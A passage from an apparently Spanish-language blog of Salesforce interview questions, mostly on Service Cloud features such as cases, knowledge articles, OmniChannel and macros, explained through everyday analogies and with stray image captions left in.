7. **Precio neto**: Finalmente, hay una promoción para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto último te lleva a tu “precio neto” final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.

En este viaje, cada reducción de precio refleja una etapa en la cascada de precios CPQ, desde el costo básico de los bienes hasta el precio final pagado por un cliente en una posición única.

Memorizar las etapas de tarificación junto con sus funciones utilizando el

Con el mnemotécnico “Los viejos leones duermen, rara vez atrapan presas, nunca ronronean” , puede crear una historia que vincule cada término no solo con el orden de los precios sino también con sus roles específicos en el proceso de fijación de precios.

30. ¿Explique el método de fijación de precios de 'porcentaje del total'?

Imagina que estás en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios únicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en función del monto total que gasta en otras delicias. Así es como funciona:

1. Método de fijación de precios: “Porcentaje del total”:

– Piense en esto como la “Regla de la sorpresa del helado”. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial según la cual su bonificación es un porcentaje del monto total que ha gastado, como su “propina” en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.

2. Porcentaje del total (%) – El número mágico:

– El parque tiene carteles por todas partes que dicen: “¡Gasta en golosinas y recibe un 10% de bonificación!” Este 10% es el número mágico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibirás un “Bono Sorpresa de Sundae” por valor de $3.

3. Porcentaje de la base total: recuento de helados:

– Ahora, aquí es donde se pone aún más genial. El parque te permite elegir qué cuenta para este cálculo mágico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu “Bono Sorpresa de Sundae”, lo que lo convierte en un valor de $2 (10% de $20).

Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje mágico y calcular su bonificación en función exactamente de lo que desea contar para la sorpresa.

Esto hace que recordar el concepto de “porcentaje del total” sea tan fácil como disfrutar de un helado en un día soleado.

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🚀 Guía definitiva de 150 preguntas sobre Salesforce Service Cloud: ¡domine cada detalle! 🌟

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Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y características
  • Gestión de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatización:
  • Informes y paneles en Service Cloud
  • Integración de CTI y telefonía
  • Servicio al cliente en redes sociales
  • Chat y mensajería
  • Integración de correo electrónico
  • Métricas y análisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y características

1. ¿Qué es Salesforce Service Cloud?

– Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera rápida y eficiente. ¡Ahí es donde entra Salesforce Service Cloud!

2. ¿Cómo beneficia Service Cloud a un departamento de atención al cliente?

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Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le envían correos electrónicos o le hacen ping en las redes sociales. ¡Es como hacer malabares! Service Cloud es como un asistente súper inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder más rápido.

¿La mejor parte? Puede conectarse con sus clientes dondequiera que estén: por teléfono, en las redes sociales, lo que sea. ¡Menos caos, más choca esos cinco en la oficina!

3. ¿Cuál es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un automóvil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, ¿la nube de servicios? Ese es su sistema de dirección y comodidad. Una vez que los clientes están a bordo, se garantiza que estén contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querrán viajar contigo nuevamente.

4. ¿Qué es OmniCanal en el contexto de Service Cloud y cómo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electrónico, teléfono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. ¿Cómo mejora Service Cloud la satisfacción del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades rápidamente no sólo los deja satisfechos; ¡Puede convertirlos en fanáticos de tu marca! Además, los clientes satisfechos a menudo significan que volverán y les dirán a sus amigos lo fantástico que eres: ¡todos ganan!

Gestión de casos

1.¿Qué es un caso en Salesforce?

– Imagínese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. ¿Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.¿Cómo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente envía un correo electrónico, completa un formulario en su sitio web, le envía un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. ¿Qué es Web-to-Case y cómo se utiliza?

¿Sabes cómo puedes pedir tu café con anticipación en una aplicación y te estará esperando cuando llegues? Web-to-Case es algo así, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa información se envía directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. ¿Explicar el correo electrónico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electrónico de servicio al cliente y Salesforce . Cuando sus clientes le envían un correo electrónico pidiéndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. ¿Qué es la escalada de casos y cómo se configura?

Una captura de pantalla de una computadora Descripción generada automáticamente

A veces, las cosas necesitan un poco más de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto período de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una señal de alerta cuando uno está tardando demasiado.

6. ¿Cómo funcionan las reglas de asignación de casos?

Señales manuales de emergencia de la policía de tránsito para conductores: conduzca en Malasia

Las reglas de asignación son como los policías de tránsito de Salesforce. Observan los nuevos casos que llegan y les indican la dirección correcta. Según los detalles del caso, como de qué se trata o de quién proviene, estas reglas los envían al departamento correcto o a la persona más adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. ¿Qué son las colas de casos y en qué se diferencian de las reglas de asignación?

Las reglas de asignación dirigen los casos a personas específicas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. ¿Cómo se realiza un seguimiento del historial del caso?

Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de dónde ha estado, a quién ha visitado y qué se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. Así, cualquiera que observe el caso podrá ponerse al día con su recorrido.

9. ¿Qué son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. ¿Cómo se utilizan los feeds de casos?

Los feeds de casos son como líneas de tiempo de las redes sociales para cada caso. Muestran una vista cronológica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. ¿Puedes realizar un seguimiento del tiempo dedicado a cada caso?

Sí, con funciones de seguimiento del tiempo. Es como un cronómetro del trabajo: puede medir cuánto tiempo dedican los agentes a cada caso.

12. ¿Cómo maneja Salesforce los correos electrónicos masivos en la gestión de casos?

Salesforce le permite enviar correos electrónicos masivos para mantener actualizados a muchos clientes a la vez.

13. ¿Qué son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos específicos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. ¿Cuál es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas físicas.

15. ¿Cuáles son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. ¿Cuáles son los componentes de la regla de asignación de casos en Salesforce?

En Salesforce, la regla de asignación de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o más de una condición que debe cumplirse para ser asignada a un usuario específico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignación.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. ¿Qué es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la información que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar artículos, preguntas frecuentes, guías de solución de problemas y más, todo organizado y fácil de encontrar.

2. Explicar el proceso de creación y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir artículos; pueden ser preguntas frecuentes, guías prácticas o pasos para la solución de problemas. Una vez que haya terminado, los colocará en los estantes (es decir, los publicará en Salesforce Knowledge) y así, estarán disponibles para que los lea su equipo o incluso sus clientes. Deberá revisar sus artículos con regularidad, actualizar la información anterior y seguir agregando material nuevo para mantener todo actualizado.

3. ¿Cuál es la diferencia entre Soluciones y Artículos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Diseño de dibujos animados felices para niños, página para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen información útil, pero son un poco básicas y solo su equipo puede leerlas. Por otro lado, los artículos de conocimiento son como tener una base de datos completa en línea. Son más dinámicos, pueden incluir videos e imágenes y puedes compartirlos no solo con tu equipo sino también con tus clientes.

4. ¿Cómo pueden los usuarios de Service Cloud aprovechar los artículos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el artículo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea más rápido, más preciso y, sinceramente, mucho menos estresante.

5. ¿Pueden los clientes acceder a los artículos de conocimiento? ¿Si es así, cómo?

¡Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web público donde estos artículos estén disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el teléfono o enviar un correo electrónico.

Consola de servicio

1.¿Qué es la Consola de Servicio en Salesforce?

Ilustración de Chef y más Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imagínese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estación de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (artículos de conocimiento), todo en un solo lugar. Estás allí, cocinando varios platos (manejando varios casos de clientes) a la vez. 🍳👩‍🍳🔥

2. ¿Cómo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, ¿no sería más fácil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. ¡Es como tener superpoderes, para que puedan ayudar a los clientes más rápido y mejor!

3. ¿Se puede personalizar la Consola de servicio? Si es así, ¿cómo?

¡Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu teléfono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a través de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que diseñas tu centro de mando.

Portales/comunidades de clientes y agentes:

1. ¿Qué es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores – Catskill Community Center

Imagínese un centro comunitario en un vecindario. Es un lugar donde los residentes se reúnen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un “centro comunitario” virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en línea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. También pueden encontrar artículos o anuncios útiles que haya publicado, ¡muy parecido a un tablero de anuncios comunitario!

2. ¿En qué se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el salón principal donde todos se reúnen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al salón principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. ¿Cómo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los artículos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y términos, sin necesidad de llamar directamente a la “oficina del administrador” (contactar con soporte).

4. ¿Cuáles son las mejores prácticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser fácil de usar y proporcionar valor real. Asegúrese de que sea de fácil acceso, con categorías claras para la discusión y una amplia base de conocimientos. Actualice y modere periódicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participación reconociendo a los miembros activos u organizando eventos o desafíos comunitarios.

Flujo de trabajo y automatización

1. ¿Se puede automatizar el enrutamiento de casos? ¿Si es así, cómo?

En Service Cloud, los casos se pueden enrutar automáticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema común, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. ¿Cómo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

¿Estás preparado para Domino's... - Domino's Pizza Bangladesh | Facebook

Imagínese el restaurante prometiendo que cada pedido se servirá en 30 minutos o, de lo contrario, será gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse según su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. ¡Mantiene al equipo responsable y a los clientes contentos!

3. ¿Podría definir la Gestión de derechos en el contexto de Salesforce Service Cloud?

La gestión de derechos en Salesforce Service Cloud es una función que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en función de factores como garantías de productos, contratos de servicio o planes de soporte. Esta característica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. ¿Puedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representación gráfica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso según el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los términos del SLA.

Informes y paneles

1. ¿Cómo mejoran los informes y paneles las operaciones de servicio?

Imagínese que al final de cada día, el gerente recibe un resumen de todo lo sucedido: cuántos clientes llegaron, cuál fue el plato más popular, cuántos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visión rápida pero completa de cómo van las cosas. ¿Los clientes esperan demasiado? ¿Algunos problemas se resuelven más rápido que otros? Esta información ayuda al equipo a saber qué funciona y qué no, para que puedan mejorar su "servicio".

2. ¿Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es así, ¿cómo?

Service Cloud le permite realizar un seguimiento del desempeño de sus agentes. Puede ver cuántos casos han resuelto, qué tan rápido están trabajando e incluso cómo los clientes califican su servicio. Es como un gráfico de desempeño para los camareros, pero para sus agentes de servicio.

3. ¿Cuáles son algunas métricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las métricas comunes incluyen cosas como

  • tiempo promedio de resolución de casos
  • puntuaciones de satisfacción del cliente
  • tasas de resolución del primer contacto
  • volúmenes de casos por tipo o fuente

Integración de CTI y telefonía

1. ¿Qué es la Integración Telefónica Computadora (CTI)?

Representante De Servicio Al Cliente De Dibujos Animados De Forma Tridimensional De Persona De Negocios - Banco de fotos e imágenes de stock - iStock

Es un término para un sistema que permite que las computadoras interactúen con los teléfonos. Significa que cuando alguien llama, el sistema de atención al cliente sabe inmediatamente quién es y cuál es su historial con la empresa.

2.¿Cómo mejora CTI el servicio al cliente?

En el restaurante sin CTI, cada llamada de un cliente sería como una reunión de camareros durante la cena por primera vez. Tendrían que volver a hacer todas las preguntas básicas: "¿Tiene alguna alergia?" “¿Prefieres asiento junto a la ventana o en el pasillo?” etcétera. Con CTI, es como si el camarero ya te conociera. Te saludan por tu nombre, recuerdan que eres alérgico al maní, saben que te gusta el queso extra y tienen lista tu mesa favorita. En términos de atención al cliente, esto ahorra tiempo, personaliza la experiencia del cliente.

3. ¿Puede darnos un ejemplo de cómo se utiliza CTI en un escenario de call center?

Cuando un cliente llama, la pantalla del agente muestra inmediatamente el nombre del cliente, su historial de compras, problemas anteriores y cualquier otra información relevante. Luego, el agente puede saludar al cliente por su nombre y atender sus necesidades de manera proactiva, a veces incluso antes de que el cliente indique por qué llama. Se trata de hacer que la experiencia de servicio sea fluida y placentera, como tener la mejor mesa lista incluso antes de entrar.

Servicio al cliente en redes sociales

1. ¿Qué es el servicio al cliente social en Salesforce?

¿Sabes cómo puedes chatear con amigos y ver qué están haciendo en las redes sociales? Salesforce permite a las empresas hacer lo mismo con sus clientes. Pueden revolotear y ver lo que la gente dice sobre ellos en las redes sociales.

2. ¿Cómo pueden los agentes utilizar Salesforce para responder a las consultas de los clientes en las redes sociales?

Ya sea que los clientes tuiteen, publiquen en Facebook o compartan historias de Instagram sobre sus experiencias o problemas, los agentes no tienen que desplazarse de una plataforma a otra. Pueden responder a todas estas publicaciones sociales desde su 'colmena' de Salesforce, asegurándose de que nadie se sienta ignorado y que cada problema se resuelva rápidamente.

3. ¿Puedes realizar un seguimiento de las conversaciones de las redes sociales en Service Cloud?

¡Absolutamente! Service Cloud controla todas las conversaciones que ocurren entre la empresa y los clientes en las plataformas sociales. Recuerda quién dijo qué, almacena información sobre los problemas del cliente e incluso cómo se resolvió. De esta manera, si el cliente vuelve a comunicarse, la empresa no hace las mismas preguntas de siempre, sino que continúa la conversación justo donde la dejó, como si retrocediera en el historial de chat con un amigo.

Chat y mensajería

1. ¿Cómo funciona Live Agent en Service Cloud?

Imagínese si estuviera comprando en una gran tienda y en lugar de tener que buscar ayuda por todo el lugar, apareciera un asistente personal a su lado en el momento en que parecía confundido. Así es Live Agent en el mundo online. Es una característica de Service Cloud que permite a los agentes de servicio al cliente chatear en tiempo real con los clientes mientras están en el sitio web para responder preguntas, dar consejos o ayudarlos a encontrar lo que necesitan.

2. ¿Cuáles son los beneficios de utilizar el chat para atención al cliente?

Los clientes obtienen atención instantánea y sus preguntas pueden responderse de inmediato. Además, es muy conveniente porque pueden hacer otras cosas mientras conversan. Para las empresas, significa que pueden manejar varios chats a la vez, lo que es como poder ayudar a varios clientes al mismo tiempo en diferentes líneas de pago.

3. ¿Se pueden automatizar las respuestas en Live Agent?

Sí, si alguien dice "hola", el sistema puede decir automáticamente "¡Hola!". ¿Cómo puedo ayudarte hoy?" Está programado para reconocer palabras o preguntas específicas y luego proporcionar una respuesta preestablecida. Esto significa que el agente no tiene que escribir las mismas respuestas una y otra vez y los clientes obtienen respuestas ultrarrápidas a preguntas comunes.

4. ¿Cómo maneja Salesforce los mensajes SMS para el servicio de atención al cliente?

Salesforce aporta esa comodidad al servicio al cliente. Con las funciones de mensajería SMS, las empresas pueden enviar mensajes de texto a los clientes y los clientes pueden responder. Pueden enviar recordatorios de citas, confirmaciones, actualizaciones rápidas o incluso responder preguntas, todo a través de mensajes de texto. Todo se rastrea y almacena en Salesforce, para que la empresa no pierda la conversación.

Integración de correo electrónico

1. ¿Cómo se utiliza el correo electrónico en Service Cloud?

No se trata sólo de enviar y recibir correos electrónicos; es un sistema completo que gestiona las comunicaciones por correo electrónico con los clientes. Puede mantener un historial de todas las interacciones, para saber exactamente qué se dijo y cuándo.

2. ¿Puedes automatizar las respuestas por correo electrónico?

– ¡Absolutamente! Según ciertas palabras clave en el correo electrónico del cliente o criterios específicos, el sistema puede enviar una respuesta escrita previamente. Es instantáneo, por lo que los clientes no tienen que esperar y les da a los agentes reales más tiempo para manejar los problemas complejos que necesitan un toque humano.

3. ¿Cómo se asegura de que los correos electrónicos de los clientes se envíen a los agentes adecuados?

Utilice el enrutamiento de correo electrónico en Service Cloud. Usando las reglas que usted configura, los correos electrónicos se pueden dirigir a ciertos agentes según el contenido del correo electrónico, la información del cliente o incluso la carga de trabajo de cada agente.

Soporte Móvil

1. ¿Cómo respalda Salesforce el servicio al cliente móvil?

Con la aplicación móvil Salesforce, todo lo que puede hacer en su escritorio, ahora puede hacerlo en su teléfono: verificar los detalles del cliente, actualizar casos o incluso chatear con los clientes.

2. ¿Cuáles son las limitaciones del servicio al cliente móvil en Salesforce?

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Si bien la aplicación móvil Salesforce es súper poderosa, es un poco como intentar colocar una nave espacial en un lugar de estacionamiento. Algunas tareas o informes complejos pueden resultar difíciles de navegar en una pantalla más pequeña y es posible que ciertas personalizaciones no se muestren como lo hacen en un escritorio.

Métricas y análisis de rendimiento

1. ¿Cómo se mide la satisfacción del cliente en Service Cloud?

En Service Cloud, no solo responde las consultas de los clientes y espera que estén satisfechos; lo verifica utilizando herramientas como encuestas, puntajes CSAT y Net Promoter Scores (NPS). Puede enviarlos automáticamente después de que se resuelva un caso. Es como preguntar: "¿Qué le pareció nuestro servicio?" ¡para que puedas seguir viviendo esa experiencia de servicio cinco estrellas!

2. ¿Qué es una puntuación de satisfacción del cliente (CSAT)?

CSAT es como preguntarle a sus clientes, en una escala del 1 al 5. Es una puntuación que los clientes otorgan en función de su satisfacción con una interacción específica que tuvieron con su equipo de servicio. Cuanto mayor sea la puntuación, mejor trabajo hizo para cumplir (¡o superar!) sus expectativas.

3. ¿Qué es Net Promoter Score (NPS) y cómo se utiliza en Salesforce?

NPS es como preguntar a sus comensales: "¿Recomendaría nuestro restaurante a otras personas?" y luego, dependiendo de su respuesta, se agrupan en Promotores, Pasivos o Detractores. No se trata sólo de un plato de sopa; ¡Lo importante es si toda la experiencia gastronómica les hace querer contárselo a sus amigos! En Salesforce, puede enviar encuestas NPS y luego realizar un seguimiento de su puntuación a lo largo del tiempo, con el objetivo siempre de mejorar la experiencia del curso completo.

4. ¿Se pueden integrar herramientas de encuestas externas con Salesforce?

Puede integrarlo con herramientas de encuestas externas que quizás ya esté utilizando o prefiera, como SurveyMonkey o Google Forms. De esta manera, reúne todos esos comentarios cruciales en un solo lugar, lo que facilita ver el panorama general y tomar decisiones informadas.

Inteligencia artificial (IA)

1. ¿Qué es Salesforce Einstein y cómo se aplica a Service Cloud?

Salesforce Einstein utiliza IA para analizar las diferentes interacciones y datos, predecir las necesidades de los clientes e incluso automatizar las respuestas.

2. ¿Cómo funcionan los Bots de Einstein?

Se encargan de las tareas sencillas y rutinarias del servicio de atención al cliente, como responder preguntas comunes o guiar a un usuario a través de un proceso establecido.

3. ¿Puede Einstein sugerir respuestas a los agentes?

Es como un manual dinámico e inteligente que no sólo tiene todas las respuestas sino que también sabe exactamente cuándo proporcionarlas. Analiza el problema del cliente y proporciona al agente la mejor respuesta o solución, acelerando el servicio y asegurándose de que las "comidas" de su servicio al cliente sean siempre deliciosas.

Servicio de campo

1. ¿Qué es Field Service Lightning?

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Imagina que organizas un festival de camiones de comida, donde varios camiones sirven diferentes delicias por todo el lugar. Ahora, Field Service Lightning (FSL) es como tener un coordinador de eventos súper organizado que sabe qué camión de comida está dónde, qué sirven, quién está disponible para servir delicias y quién se toma un descanso. ¡Se trata de administrar su equipo sobre la marcha, asegurándose de que tengan los "ingredientes" correctos (herramientas, piezas) para resolver cualquier desafío "culinario" (problema del cliente) que encuentren en el campo!

2.¿Cómo se integra Field Service Lightning con Service Cloud?

Field Service Lightning, cuando se integra con Service Cloud, brinda información en tiempo real hacia y desde las unidades móviles (FSL), para que todos sepan lo que sucede a su alrededor.

3. ¿Puede programar y enviar agentes de servicio de campo utilizando Salesforce?

¡Absolutamente! Puede planificar horarios, asignar agentes a diferentes trabajos y asegurarse de que estén listos para mejorar sus especialidades según sea necesario. Y si hay una prisa repentina, el sistema puede redirigir a los agentes desde lugares menos concurridos para que ayuden, equilibrando la carga de trabajo y manteniendo contentos a los clientes.

Claro, profundicemos en las macros en Service Cloud de Salesforce con un enfoque conversacional fácil de recordar. ¡Imagínate que estamos charlando en tu cafetería favorita!

macros

1.¿Qué es una macro en Salesforce Service Cloud?

Es un atajo genial que realiza tareas repetitivas por ti. Entonces, si te encuentras haciendo los mismos clics una y otra vez, una macro dice: "¡Oye, ya tengo esto!". ¡Y listo!

2. ¿Todos pueden usar mis Macros?

Si los mantiene públicos, cualquiera puede usarlos. Pero si cree que su macro es secreta, puede guardársela para usted. En Salesforce, se trata de establecer permisos y compartir configuraciones.

3. ¿Pueden las macros interactuar con aplicaciones de terceros en Salesforce?

– Directamente, no. Las macros están diseñadas para automatizar las funcionalidades estándar de Salesforce.

4. ¿Es posible deshacer las acciones de una Macro una vez ejecutada?

No, no hay un botón "deshacer" para las macros. Una vez que se ejecuta una macro, sus acciones se consideran definitivas.

5. ¿Se pueden programar las macros para que se ejecuten a una hora específica?

No, las macros no se pueden programar. Son como un conjunto de herramientas manuales que requieren que alguien las utilice activamente; no funcionan con un temporizador automático.

6. ¿Qué tipo de acciones no puedes realizar con una Macro?

Las macros no pueden manejar procesos complejos de toma de decisiones, interactuar con sistemas externos ni crear registros.

7. ¿Cómo se organizan y gestionan las Macros para un equipo de agentes en Service Cloud?

Utilice carpetas para organizar y compartir colecciones de macros.

8. ¿Se puede modificar una macro activa? ¿Hay que tomar alguna precaución?

Sí, puede editar una macro y probar las modificaciones antes de su uso generalizado.

9. ¿Es posible asignar Macros específicas a usuarios o perfiles específicos?

Si bien no puede asignar una macro directamente a usuarios específicos, puede controlar el acceso utilizando las carpetas de macros y la configuración de uso compartido de Salesforce.

10. ¿Cómo se relacionan las macros con la API de Salesforce?

Las macros no interactúan directamente con la API de Salesforce. Funcionan dentro de la interfaz de usuario, automatizando las acciones manuales del usuario.

11. ¿Se pueden utilizar las macros junto con Salesforce Flows?

Las macros y los flujos tienen diferentes propósitos. Mientras que las Macros automatizan las acciones del usuario, los Flujos automatizan los procesos en el backend.

12. ¿Cómo funciona el manejo de errores con Macros?

Si una macro encuentra un problema durante la ejecución, se detiene y se muestra un mensaje de error.

13. ¿Pueden los usuarios sin privilegios de administrador crear o modificar macros?

Los usuarios pueden crear macros personales, pero crear o modificar macros compartidas normalmente requiere ciertos permisos o privilegios de administrador.

14. ¿Existe alguna forma de realizar un seguimiento de los cambios realizados por una Macro?

No existe un mecanismo de seguimiento directo para las macros, pero puede utilizar las funciones de seguimiento de auditoría estándar de Salesforce para ver los cambios en los registros.

15. ¿Cuál es el papel de las instrucciones macro en el proceso de creación?

Las instrucciones macro son el corazón de la macro y dictan qué acciones realiza. Elaborarlos es como escribir una lista detallada de tareas pendientes para otra persona; es necesario especificar cada paso de forma clara y en orden.

29. ¿Puedes usar macros para enviar correos electrónicos con archivos adjuntos?

No, las macros pueden automatizar el proceso de envío de un correo electrónico, pero no pueden agregar archivos adjuntos.

Omnicanal

1. ¿Puedes explicar qué es OmniCanal en Salesforce?

Conozca todo sobre: OmniCanal en Salesforce

OmniCanal es una característica de Salesforce que permite la gestión de elementos de trabajo entrantes desde diferentes canales de comunicación. Se trata de dirigir el trabajo adecuado a los agentes adecuados en el momento adecuado, en función de su disponibilidad y capacidad, garantizando que las cargas de trabajo se gestionen de manera eficiente.

2: ¿Cómo beneficia OmniCanal a un equipo de servicio al cliente?

OmniChannel ayuda a los equipos de servicio al cliente al distribuir el trabajo de manera uniforme entre los agentes, reducir los tiempos de espera de los clientes y permitir que los agentes manejen el trabajo desde varios canales dentro de una sola plataforma. Este enfoque simplificado conduce a un mejor servicio al cliente y una mayor productividad de los agentes.

3. ¿Cuál es la diferencia entre OmniCanal y distribución del trabajo tradicional?

La distribución tradicional del trabajo a menudo implica una asignación manual, lo que puede llevar mucho tiempo y ser ineficiente. OmniChannel, por otro lado, dirige automáticamente el trabajo a los agentes más adecuados según criterios preestablecidos y la disponibilidad de los agentes en tiempo real, lo que hace que el proceso sea más rápido y eficiente.

4. ¿Puede explicar el “Estado de presencia” en OmniCanal?

“Estado de presencia” se refiere a la disponibilidad actual de un agente para recibir trabajo. Los agentes pueden configurar su estado para mostrar si están disponibles, ocupados o ausentes, y OmniCanal utiliza esta información para enrutarles el trabajo en consecuencia.

